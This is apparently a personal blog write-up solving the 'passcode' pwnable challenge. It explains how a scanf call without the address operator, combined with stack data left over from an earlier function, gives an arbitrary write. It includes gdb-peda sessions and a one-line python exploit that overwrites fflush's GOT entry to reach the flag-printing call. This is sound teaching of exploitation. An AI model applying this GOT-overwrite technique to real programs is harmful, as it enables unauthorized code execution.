Pwnable Challenge: Passcode

Alright so recently I was getting a friend into pwnable and the first one he really had difficulty on was passcode which is probably one of the hardest of the easiest challenges. Especially if you aren’t familiar with how uninitialized variables work. So ima write up a short explanation of a solution to passcode. The source of passcode is below:

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

You are first prompted to enter a 100 char string in welcome() and then enter 2 integers in login(). However the scanf calls are not correct as they should read

scanf("%d", &passcode1);
...
scanf("%d", &passcode2);

rather than as they appear in the code above. In the source scanf will not write the input into the location of passcode1, instead it will interpret the value of passcode1 as an address and try to write the input into that address. However this value has not been initialized to anything, so what will the value be? This might be confusing if you haven’t dealt with a vulnerability that makes you consider stack frames before. When a function is called “room is made” on the stack for its local variables by subtracting from esp (rsp on x64) and the local variables are referenced using positive offset from esp or negative from ebp. When a function returns esp switches back to ebp and the saved ebp is reloaded returning the stack to the previous context ****put some text diagrams here this is confusing ****. However when another function is called it uses (at least some of) the same stack memory as the previously called function. This means that uninitialized variables can contain data written to the stack in previous function calls. I wrote a very simple program that demonstrates the basic idea behind this:

#include<stdio.h>

void printvar()
{
    int a;
    printf("a: 0x%08x\n", a);
}

void initvar()
{
    int b;
    scanf("%x", &b);
}


void main()
{
    initvar();
    printvar();
}

If this is compiled and run with the input “cafebabe” the result is

cafebabe
a: 0xcafebabe

The uninitialized value a has the value of the previously called function’s b. The reason for this becomes more clear upon investigation of their assembly:

gdb-peda$ disass initvar
Dump of assembler code for function initvar:
   0x08048488 <+0>:	push   ebp
   0x08048489 <+1>:	mov    ebp,esp
   0x0804848b <+3>:	sub    esp,0x28
   0x0804848e <+6>:	lea    eax,[ebp-0xc]
   0x08048491 <+9>:	mov    DWORD PTR [esp+0x4],eax
   0x08048495 <+13>:	mov    DWORD PTR [esp],0x804855b
   0x0804849c <+20>:	call   0x8048360 {__isoc99_scanf@plt}
   0x080484a1 <+25>:	leave  
   0x080484a2 <+26>:	ret    
End of assembler dump.
gdb-peda$ disass printvar
Dump of assembler code for function printvar:
   0x0804846d <+0>:	push   ebp
   0x0804846e <+1>:	mov    ebp,esp
   0x08048470 <+3>:	sub    esp,0x28
   0x08048473 <+6>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048476 <+9>:	mov    DWORD PTR [esp+0x4],eax
   0x0804847a <+13>:	mov    DWORD PTR [esp],0x8048550
   0x08048481 <+20>:	call   0x8048330 {printf@plt}
   0x08048486 <+25>:	leave  
   0x08048487 <+26>:	ret    
End of assembler dump.

The two functions have a very similar layout and they have identical esp since both are “sub esp,0x28” and are called from the same parent function. This means that in both functions esp+0x4 (the location of both a and b) will be the same address and the value of b will be the uninitialized value of a.

Applying this to passcode we can see that it is likely that the uninitialized values of passcode1 and passcode2 may lie somewhere within the local variable of welcome(), name. Indeed this is what happens, as we could see by taking breakpoints and doing the subtraction of addresses or just putting in a peda generated pattern and looking at the result. I did the latter:

gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Toddler's Secure Login System 1.0 beta.
enter you name : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Welcome AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!
enter passcode1 : 9

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x4c414136 ('6AAL')
EBX: 0xf772aff4 --> 0x1a4d7c 
ECX: 0x0 
EDX: 0x9 ('\t')
ESI: 0xf772bac0 --> 0xfbad2288 
EDI: 0x0 
EBP: 0xffe6e888 --> 0xf7585900 (0xf7585900)
ESP: 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
EIP: 0xf75d585b (<_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf75d584c <_IO_vfscanf+11932>:	mov    eax,DWORD PTR [ebp-0x1d4]
   0xf75d5852 <_IO_vfscanf+11938>:	add    DWORD PTR [ebp-0x1d4],0x4
   0xf75d5859 <_IO_vfscanf+11945>:	mov    eax,DWORD PTR [eax]
=> 0xf75d585b <_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx
   0xf75d585d <_IO_vfscanf+11949>:	jmp    0xf75d350e {_IO_vfscanf+2910}
   0xf75d5862 <_IO_vfscanf+11954>:	mov    esi,DWORD PTR [ebp-0x1f4]
   0xf75d5868 <_IO_vfscanf+11960>:	mov    ecx,DWORD PTR [ebp-0x1e4]
   0xf75d586e <_IO_vfscanf+11966>:	mov    DWORD PTR [ebp-0x218],edi
[------------------------------------stack-------------------------------------]
0000| 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
0004| 0xffe6e544 --> 0xffe6e86c --> 0xffe6e551 --> 0xf77200 
0008| 0xffe6e548 --> 0xa ('\n')
0012| 0xffe6e54c --> 0x0 
0016| 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
0020| 0xffe6e554 --> 0xf773d000 ("enter passcode1 : AA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!\n")
0024| 0xffe6e558 --> 0xf7585900 (0xf7585900)
0028| 0xffe6e55c --> 0xf75f5b74 (mov    ebp,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf75d585b in _IO_vfscanf () from /lib/i386-linux-gnu/libc.so.6
gdb-peda$ pattern search
Registers contain pattern buffer:
EAX+0 found at offset: 96
No register points to pattern buffer
Pattern buffer found at:
0xf773c002 : offset    2 - size   98 (mapped)
0xf773d012 : offset   10 - size   90 (mapped)
0xffe6e8c8 : offset   80 - size   20 ($sp + 0x388 [226 dwords])
References to pattern buffer found at:
0xf772bac8 : 0xf773c002 (/lib/i386-linux-gnu/libc-2.15.so)
0xffe6e6b4 : 0xffe6e8c8 ($sp + 0x174 [93 dwords])

Alright so I created a pattern with the peda tool and used it as the input for name. I chose 100 characters to fill the entire space allocated for name. And its a good thing I did as the value in eax is located at 96 bytes into the pattern in name. It is therefore the last 4 bytes. And the instruction is

=> 0xf75d585b <_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx

and since we can control the address in eax and the value in edx, as it is the number we enter for scanf(“%d”, passcode1), we have an arbitrary write vulnerability. To exploit this we will overwrite the GOT entry for fflush (the next function called).

gdb-peda$ pdisass login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 {printf@plt}
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 {__isoc99_scanf@plt}
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 {fflush@plt}
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 {__isoc99_scanf@plt}
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 {puts@plt}
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 {puts@plt}
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 {exit@plt}
End of assembler dump.
gdb-peda$ x/i 0x8048430
   0x8048430 {fflush@plt}:	jmp    DWORD PTR ds:0x804a004
gdb-peda$ x/xw 0x804a004
0x804a004 {fflush@got.plt}:	0x08048436
gdb-peda$ p/d 0x080485e3
$1 = 134514147

We will write the value 134514147 into the address 0x804a004, the GOT entry for fflush. The value 134514147 is the decimal value of the address 0x080485e3 which corresponds to the lines

   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 {system@plt}

This is the call to system that outputs the flag. Therefore instead of calling fflush the program will jump to the code that displays the flag. This all comes together in the command

passcode@ubuntu:~$ python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "\n" + "134514147"'|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

So there it is. This is a really nice little challenge. Something like this could happen in a real-world situation when a logical error leads to uninitialized memory being treated as a address or the offset of an address and written to or used as a function pointer and called. I actually had a interesting challenge in a job interview where the latter occurred. Let me know if there are any places that are unclear because I feel as though there are.